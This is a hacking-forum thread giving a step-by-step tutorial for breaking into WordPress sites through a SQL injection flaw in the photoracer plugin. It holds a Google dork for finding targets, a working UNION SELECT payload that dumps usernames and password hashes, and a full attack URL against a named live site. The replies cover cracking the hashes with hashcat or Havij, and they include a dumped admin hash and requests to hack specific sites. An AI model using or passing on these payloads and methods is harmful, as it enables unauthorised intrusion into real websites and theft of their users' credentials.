Hack WordPress Sites - The Easy Way

Hi,
Here I tell you how to hack a wordpress website in an easy way.

We will use exploit to hack.

First use this dork in Google.

Code:

inurl:"wp-content/plugins/photoracer/viewimg.php?id="

See the Result :-

[You must be registered and logged in to see this image.]


Let's test one of them.


[You must be registered and logged in to see this link.]


Now add this exploit :--

Code:

/wp-content/plugins/photoracer/viewimg.php?id=-1+union+select+1,2,3,4,5,concat(user_login,0x3a,user_pass),7,8,9+from+wp_users--

Now the url looks like this:-

Code:

http://www.badged.gr/wp-content/plugins/photoracer/viewimg.php?id=-1+union+select+1,2,3,4,5,concat(user_login,0x3a,user_pass),7,8,9+from+wp_users--

[You must be registered and logged in to see this image.]

Now you can see the username & password.

Just crack the hash and it's done!

The admin panel is available at:--

Code:

http://Site/wp-login.php

I hope this will help.

Feel free to ask your doubts.

so... the next question is how to hack hash? =)

chishik wrote:

so... the next question is how to hack hash? =)

The HASH is not hacked bro. Because in a HASH, passwords are encrypted. So it needs to be decrypted in passwords....you can use havij/online hash decrypters,etc. there are 100 of options.....

Thanks for this easy and quick tut. However, my question is, how to know which plugin a specific wp website has installed?

thanks

nice post but it is only for wordpress user that uses that plugin? I've tried these and it works, but the only problem is that wordpress uses phpass hash that I think cannot be decrypted, is there any websitge or software that decrpt wordpress phpass? thanks

I didnt find any admin or hash inany website.

pradeepchampjairamani wrote:

I didnt find any admin or hash inany website.

Did you use the mentioned dork. Vulnerable sites appear in the Google search only if you use the dork.

I´m doing this tutorial just to understand how a boy from Turkia hack a friend site so easy...
I get this code from the google request:

posted on 9
da :ramal
-admin-$P$B9KthdRbE99PNX/lwJYI.BdogXmhf9.-EMAILADDRESS:1fkbXGVssvUPQ3H0NTv2

So, wich one is the hash that give to me the password and username?
I already try with
$P$B9KthdRbE99PNX/lwJYI.BdogXmhf9
and
1fkbXGVssvUPQ3H0NTv2

but nothing
Did you recomend some hash decrypter???

You can use HASHCAT for this purpose.

I got nothing found after adding the code :

Code:

+union+select+1,2,3,4,5,concat(user_login,0x3a,user_pass),7,8,9+from+wp_users--

SirDarknight wrote:

I got nothing found after adding the code :

Code:

+union+select+1,2,3,4,5,concat(user_login,0x3a,user_pass),7,8,9+from+wp_users--

Then the site is not vulnerable. Use vulnerability scanners in order to find vulnerable sites in an efffective way. Then use the exploit.

how can i get hashcat? after i downloaded the zip and extracted it, i tried running the application and the error message says that some .dll files are missing.

how to hack this site tel me www dot newsresults dot in pls............................ its on wordpres

Bro i am sure that you will give free hacking courses for your patients..

Srihari Rao wrote:

Bro i am sure that you will give free hacking courses for your patients..

Sure.

awesome task!

Thanks... worked

Does this work only with this plugin?

cant use this way ready...

I'm not sure whether this method is still working or not (Wordpress keeps on upgrading security).

But you can still give this a try because it might do the job!

Thank for this information

I didnt find any admin or hash inany website.

Do anyone knows what is the new method to hack a Wordpress site? PM me if you know or you know someone who know.